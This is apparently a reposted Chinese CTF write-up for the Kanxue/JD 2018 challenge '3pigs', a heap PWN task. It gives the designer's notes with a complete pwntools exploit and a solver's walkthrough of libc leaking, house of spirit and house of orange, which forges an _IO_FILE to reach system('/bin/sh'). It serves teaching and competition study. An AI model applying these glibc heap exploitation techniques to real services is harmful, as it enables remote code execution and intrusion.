查看原文
其他

看雪.京东 2018 CTF 第十一题 PWN-3pigs 点评与解析

看雪CTF 看雪学院 2019-05-27

周末快乐!

经过一周激烈的角逐,如今CTF排名怎么样了呢?

我们一起来看看!

本题作者BPG以6血的成绩排名第4位


本题过后 风间仁 继续稳居首位,

AloneWolf和qwertyaa之间,角逐前三名。

wjbsyc、holing 突进前十名。


第十一题过后,比赛进入尾声,

但比赛角逐依然激烈,一切皆有可能。

究竟谁能笑到最后呢?

拭目以待吧!



看雪版主&评委 netwind 点评


作者精心构造了一个堆漏洞,需要对堆管理机制较熟悉,需采用‘House of orange’的堆漏洞利用方式解此题。


看雪.京东 2018 CTF 第十一题 作者简介


BPG

bbs.pediy.com/user-678748

第十一题出题者简介:


看雪ID:BPG, 已退役web选手,去年刚开始真正学习pwn,目前仍是小菜鸡一枚,希望能在看雪论坛中向大牛们多多学习交流。



看雪.京东 2018 CTF 第十一题 设计思路


1. ALL
首先还是看下各个操作:

* catch_pig
一共有三只猪可供选择,每只猪都有个自己的名字。然后你可以给他们留言,名字占0x10,留言占0xc8,一共申请了0xd8的空间。留言的时候会在最后加个`\x00`。

* release_pig
这一步主要是将申请的空间给释放掉,释放后会将内容全部清理掉,同时指针也将清空。

* change_name
修改名字,可以输入0x10的内容。

* list_pig
这里主要是将各个猪的名字和留言打印出来。

* catch_gold
这里可以抓金猪并且金猪不能被释放,而且金猪必须是在没有抓其他猪的情况下才能抓,大小为0x150。

* change_next_name
可以修改金猪的下一个猪的名字。


2. leak
泄露很简单,`libc`的地址直接申请释放制造一个`unsorted bin`就能够泄露出来了。


3. 缩小top
这里我提供的思路是利用溢出的`NULL BYTE`来实现缩小`top`,从而构造最终的`unlink`。

具体实现步骤如下:

catchpig(0,"0"*0xc8) # top被第一次改写
catchpig(1,"0"*0xc8) # top被第二次改写
catchpig(2) # 修改heap_1->next_chunk->prev_size为1,这样heap_1才能被释放
freepig(2)
freepig(1)
freepig(0)

这样操作以后,就能实现缩小`top`了,每次可以缩小多少不固定,反正测试一下就能得到多少次能变成非常小。


4. sysmalloc
当`top`变的非常小以至于无法满足我们要`malloc`的需求时,就会调用`sysmalloc`分配新的空间,并将`top`给`free`掉,所以这个时候我们就能伪造`top`的`prev_size`,从而调用`unlink`。
但问题是调用`sysmalloc`的时候会有个校验:

2412      assert ((old_top == initial_top (av) && old_size == 0) || // top没有初始化,所以其size为0
2413              ((unsigned long) (old_size) >= MINSIZE && // top已经初始化,所以包含fencepost,size一定大于MINSIZE
2414               prev_inuse (old_top) && // top的前一个chunk一定是inuse
2415               ((unsigned long) old_end & (pagesize - 1)) == 0)); // top结束地址必须页对齐

由于这里存在一个验证,需要前一个`chunk`不能为空闲的,所以没法直接和前面合并从而调用`unlink`。而后面同样也不行,因为在`sysmalloc`后会生成一个`fencepost`,其第一个`chunk`同样也是使用中的。具体可以参照[sysmalloc解析](http://www.mutepig.club/index.php/archives/47/#3.sysmalloc)。

而第二个问题是`top`结束地址必须页对齐,所以我强行构造了一发,最终在前面和后面都`malloc`了一个特殊大小的块,实现了页对齐。


5. houseoforange

那么最终就只能用`house of orange`来解决问题了,不过又很多限制所以我一一强行构造了出来。
首先是`size=0x60`才行,所以我设计了一个`gold pig`,用来构造一个对应大小的`top`,使之大小为0x80,之后通过`sysmalloc`会生成一个`fencepost`来减去0x20,最终得到了我们目标的0x60。

接着是`unsorted bin`攻击,所以我们需要修改`top->bk`,于是就可以使`gold pig`能修改下一个猪的名字。

其他的就都能从之前的猪的留言那设置了。


6. HITB非预期解
由于这里是可以修改下一个块的`bk`,而且也可以泄露`heap`地址,所以也是可以使用`house_of_lore`的,于是我们可以伪造一个`chunk`,使得其大小为0x60即可

首先先泄露`libc`的地址,方法其实和正常的也是一样的,然后泄露`heap`的地址,就是通过将`fastbin`夹在两个pigs之间,然后将他们释放也就能打印出来了。

当前的布局是这样的:

+========+
   pig1
+========+
 fastbin
+========+
   pig2
+========+
   pig3
+========+
 topchunk

由于我们可以通过`fastbin`来修改`pig2`的`fd`和`bk`,所以可以在`pig2`里伪造两个chunk:
+========+ pig2
 0  | 0xd1 
+========+
arena->top | fakechunk1
+========+
 padding 
+========+ fakechunk1
 0  | 0xd1
+========+
pig2|fakechunk2
+========+ fakechunk2
 0  | 0x61
+========+
fakechunk1|arena->top


由于我们这里将`fakechunk2->bk`设置为了`arena->top`,而`arena->top->bk = arena->unsorted bin`,所以在将`fakechunk2`从`unsorted bin`取到`smallbin`的过程中不会报错


7. EXP
#!/usr/bin/env python
# encoding: utf-8

from mypwn import *
bin_file = "./3pigs"
remote_detail = ("127.0.0.1",8888)
libc_file = "./libc.so.6"
bp = []
pie = False
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)

def catchpig(id,data):
    p.recvuntil("ope:")
    p.sendline("1")
    p.recvuntil("num:")
    p.sendline(str(id))
    p.recvuntil("data:")
    p.send(data)
    p.recvuntil("Success")

def freepig(id):
    p.recvuntil("ope:")
    p.sendline("2")
    p.recvuntil("num:")
    p.sendline(str(id))
    p.recvuntil("Success")

def listpig():
    p.recvuntil("ope:")
    p.sendline("3")
    return p.recvuntil("Success")

def catchgold():
    p.recvuntil("ope:")
    p.sendline("4")
    p.recvuntil("secret:")
    p.sendline("UOTp%I<S")
    p.recvuntil("Success")

def usegold(data):
    p.recvuntil("ope:")
    p.sendline("5")
    p.recvuntil("data:")
    p.send(data)
    p.recvuntil("Success")


def leak():
    global io_addr, libc_addr
    catchpig(0,"0")
    catchpig(1,"1")
    freepig(0)
    catchpig(2,"2")
    ret = listpig()
    addr = ret.split("\n")[3].split("Small Li")[1].split("|")[0].ljust(8,"\x00")
    addr = u64(addr)
    print hex(addr)
    usbin_addr = addr
    io_addr = usbin_addr + 0x9a8
    libc_addr = (addr & 0xfffffffff000) - 0x3c4000
    freepig(1)
    freepig(2)

def cleantop():
    tmp = (binsh_addr-100)/2
    catchpig(0,"0"*0xb8)
    catchpig(1,"\x00"*0x60 + p64(0xfffffffffffffffe) + p64(0)*3 + p64(2) + p64(3) + p64(0) + p64(binsh_addr) + "\x00"*0x18)
    catchpig(2,"\x00"*0x50 + p64(0xffffffffffffffff) + p64(0)*2 + p64(io_str_jumps-8) + p64(0) + p64(system_addr))
    freepig(1)
    freepig(2)
    freepig(0)

def cleantop2():
    catchpig(0,"0"*0xb8)
    catchpig(2,"2")
    freepig(0)
    freepig(2)

    catchpig(1,"4")
    catchgold()
    catchpig(2,"5")
    freepig(2)
    freepig(1)

    usegold(p64(0) + p64(io_list_all-0x10)[:-1])

    p.recvuntil("ope:")
    p.sendline("1")
    p.recvuntil("num:")
    p.sendline("1")

if __name__=='__main__':
    leak()
    system_addr = libc_addr + libc.symbols['system']
    io_str_jumps = libc_addr + + libc.symbols['_IO_file_jumps'] + 0xc0
    binsh_addr = libc_addr + libc.search("/bin/sh").next()
    io_list_all = libc_addr + 0x3c5520

    log.success("io_addr: %s"%(hex(io_addr)))
    log.success("system_addr: %s"%(hex(system_addr)))
    log.success("binsh_addr: %s"%(hex(binsh_addr)))
    log.success("strjump_addr: %s"%(hex(io_str_jumps)))
    #raw_input("system")
    for i in xrange(512):
        cleantop()
        print i
    #pause()
    #cleantop()
    cleantop2()

    p.interactive()



看雪.京东 2018 CTF 第十一题解析


*本解析来自看雪论坛 holing



0x00 前言


这道题做起来感觉局限性很大,不能自定义chunk的大小,只能分配0xD0和0x80的chunk;然后一共能用来放堆块的全局数组大小只有3。所以最后几乎是极限利用house of orange做出来的。所以,不知道是不是预期解...(按照我做pwn的魔咒估计又不是预期了2333...



0x01 漏洞点


漏洞点有两处,一个是在申请普通pig时,有16字节的溢出

pigs[v1] = (char *)malloc((signed int)pig_size);

//...

puts("data:");

get_input(pigs[v1] + 16, pig_size);           // overflow


还有一个是可以直接修改fly pig后面的那个chunk

get_input(buf_0x70 + 0x80, 16);


因为刚好buf_0x70的chunk大小是0x80,所以这刚好可以写到下一个chunk的fd和bk



0x02 leak


首先是要leak,还是老思路,溢出转成UAF,这里可以用把unsorted bin延伸的思路。具体就是,把unsorted bin延伸到后面一个已经在使用的chunk,然后申请一个堆块,这个时候就可以通过show那个UAF的pig来实现fd的leak。

 

具体实现如下

create_pig(0, "A" * 0xB7 + "\n")

create_pig(1, "B" * 0xB7 + "\n")

create_pig(2, "\x00" + "C" * 0xB6 + "\n")

free_pig(0)

free_pig(1)

 

create_pig(0, "A" * 0xB8 + p64((0xD0 * 2) | 1)[:7] + "\n")

#extend unsorted bin chunk

 

create_pig(1, "\x00" * 0xB7 + "\n")

#此时idx为2的pig处于UAF状态,可以leak出fd

 

leak = print_pigs()[0xd0:0xd0+6]+"\x00\x00"

libc_addr = u64(leak) - UNSORTED_OFF

assert (libc_addr & 0xfff) == 0

print hex(libc_addr)



0x03 极限house of orange


思路


这题leak是比较简单的,难的是任意代码执行。这题明显不能fastbin attack,因为没法分配0x70的chunk。想了一下发现只能house of orange。但是house of orange需要溢出一整个_IO_FILE的数据,我们这边只能溢出16个字节,尤其是最关键的bk指针没法溢出到,怎么办?

 

一开始的思路是,构造两个0xD0和0x80的chunk,使他们可以溢出到同一个unsorted bin,这样两个pig“合作”,一个负责溢出prev_size和size,一个负责写fd和bk,然后_IO_FILE其他数据就预先放在这个chunk里面。

 

然而不行,构造不出这种情况。

 

那么换思路,我们真的需要溢出prev_size和size么?前者可以用跟放_IO_FILE其他数据一样的思路预先放好,而size只要是0x61就行,而这是可以通过溢出unsorted bin chunk的大小构造出来的。


准备工作


首先是_IO_FILE的内容

fake_file = p64(0)

fake_file += p64(0x61)

fake_file += "\x00" * 0x10 # fd and bk

fake_file += p64(2) + p64(3)

fake_file += "\x00" * 8

fake_file += p64(libc_addr + next(e.search('/bin/sh\x00'))) #/bin/sh addr

fake_file += (0xc0-0x40) * "\x00"

fake_file += p32(0) #mode

fake_file += (0xd8-0xc4) * "\x00"

fake_file += p64(libc_addr + IO_STR_FINISH - 0x18) #vtable_addr

fake_file += (0xe8-0xe0) * "\x00"

fake_file += p64(libc_addr + e.symbols["system"])


这里不是通过自己构造虚表,而是用了一个libc里面的虚表中一个函数,这个虚表在_IO_jump_t的后面,就在这个表偏前面的位置,有个函数,里面有个call [xxx+0xe8]这样的指令,很好找的。然后第一个参数刚好也用了结构体里面的一个数据,所以在那里放/bin/sh的地址即可,然后0xe8处放system的地址,即可实现system("/bin/sh")。

 

这个利用方式比起自己构造虚表有一个好处,一是不用leak堆的地址,二是可以绕过2.24以上版本的一个security check。这题libc版本是2.23,所以用这个方法的原因是前者。

 

接着清理一下堆

free_pig(1)

free_pig(0)

 

#fake_file[0x20:0x50]

create_pig(0, "F" * 0xB7 + "\n")

free_pig(0)

#consume last chunk,

#last chunk won't be consolidated because pre_inuse of topchunk

#so do consolidation by ourselves

#now bins are empty, everything merged to top chunk

#donot use idx 2 now


这里有个有趣的现象,因为虽然我们延伸了unsorted bin chunk的大小,但是top chunk的prev_use仍然是1,所以在free 1和0 之后,前面的unsorted bin跟那个UAF的chunk并不会consolidate,所以后面要再create一下,拿到之前那个UAF的chunk,再free,就会全部consolidate成一个top chunk了。(除了0xB21处最开始分配的那个3616大小的chunk,然而我并不知道那是干嘛用的,大概那才是预期解?233)


house of spirit 解放idx 2


此时0和1是空的,2是一个野指针。然后接下来的利用,我一开始试着只用两个pigs来弄,发现怎么也弄不成功。所以务必解放idx为2的pig。然而他是个野指针,随便free可能会爆,怎么办?可以用house of spirit的思路,把他作为一个用不到的大小的fastbin chunk释放掉,比方说这题我就用了0x20。


create_fly_pig()

create_fly_pig()

create_fly_pig()

 

#topchunk fb0

#dangling pointer fe0

#0x30

create_pig(0, "PREVSIZE" + p64(0x21) + "A" * 0x18 + p64(0x1234))

free_pig(0)

#free 0 first to prevent fastbin consolidation

free_pig(2)

#house of spirit to make idx 2 available

 

#now bins only has 0x20 fastbin

#3 pigs are clear


这里要注意,必须要先free 0再free 2,不然会导致fastbin consolidate,这样会爆异常。

 

这个时候3个pigs又都可以用了,而且bins除了0x20 fastbin也都是空的,然而这个0x20根本不会被用上


house of orange花式利用


接着就是house of orange了,要构造一个0x61的chunk,同样用之前的思路,改写unsorted bin的大小。这个时候就要把unsorted bin大小改写成0x60+0x80,这样的话create一个flypig之后,刚好能剩下一个0x60的chunk。

 

当然,要预先在内存中放好_IO_FILE的关键数据,exp如下

create_pig(0, "F" * 0xB7 + "\n")

create_pig(1, "\x00" * 0x80 + fake_file[0x20:0x50] + "G" * 7 + "\n")

#\x00是因为_flags(prev_size)要是0

create_pig(2, fake_file[0x70:] + "\n")

create_fly_pig() #prevent topchunk consolidate

 

free_pig(0)

free_pig(1)

#now 0x1a1 unsorted bin

 

create_pig(0, "E" * 0xB8 + p64((0x60 + 0x80) | 1)[:7] + "\n")

 

create_fly_pig()

 

edit_fly_pig(p64(libc_addr + UNSORTED_OFF) + p64(libc_addr + e.symbols["_IO_list_all"] - 0x10)[:7] + "\n")

 

sh.send("4\x00")

sh.recvuntil("secret:\n")

sh.send("UOTp%I<S\n")

 

sh.interactive()


至于这个“预先放好”的位置是如何确定的,大概就是不断地脑补+调试吧,有时候右脑不够用纸上画个图也能帮助思考。

 

有趣的是,好像在这个版本0x60+0x80=0xe0的unsorted bin chunk的后面并不用伪造next chunk的prev_size和size,这个好像在后面libc的版本是有检查的。





合作伙伴

京东集团是中国收入最大的互联网企业之一,于2014年5月在美国纳斯达克证券交易所正式挂牌上市,业务涉及电商、金融和物流三大板块。

 

京东是一家技术驱动成长的公司,并发布了“第四次零售革命”下的京东技术发展战略。信息安全作为保障业务发展顺利进行的基石发挥着举足轻重的作用。为此,京东信息安全部从成立伊始就投入大量技术和资源,支撑京东全业务线安全发展,为用户、供应商和京东打造强大的安全防护盾。

 

随着京东全面走向技术化,大力发展人工智能、大数据、机器自动化等技术,将过去十余年积累的技术与运营优势全面升级。面向AI安全、IoT安全、云安全的机遇及挑战,京东安全积极布局全球化背景下的安全人才,开展前瞻性技术研究,成立了硅谷研发中心、安全攻防实验室等,并且与全球AI安全领域知名的高校、研究机构建立了深度合作。

 

京东不仅积极践行企业安全责任,同时希望以中立、开放、共赢的态度,与友商、行业、高校、政府等共同建设互联网安全生态,促进整个互联网的安全发展。


CTF 旗帜已经升起,等你来战!

扫描二维码,立即参战!



看雪.京东 2018 CTF 

看雪.京东 2018 CTF 第一题点评与解析

看雪.京东 2018 CTF 第二题点评与解析

看雪.京东 2018 CTF 第三题点评与解析

看雪.京东 2018 CTF 第四题点评与解析

看雪.京东 2018 CTF 第五题点评与解析

看雪.京东 2018 CTF 第六题点评与解析

看雪.京东 2018 CTF 第七题 密室逃脱 点评与解析

看雪.京东 2018 CTF 第八题 薛定谔之猫 点评与解析

看雪.京东 2018 CTF 第九题 PWN-羞耻player 点评与解析

看雪.京东 2018 CTF 第十题 暗风吹雨 点评与解析



看雪2018安全开发者峰会

2018年7月21日,拥有18年悠久历史的老牌安全技术社区——看雪学院联手国内最大开发者社区CSDN,倾力打造一场技术干货的饕餮盛宴——2018 安全开发者峰会,将在国家会议中心隆重举行。会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。此外峰会将展现当前最新、最前沿技术成果,汇聚年度最强实践案例,为中国软件开发者们呈献了一份年度技术实战解析全景图。



戳下图↓,立即购票,享5折优惠!







戳原文,立刻加入战斗!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存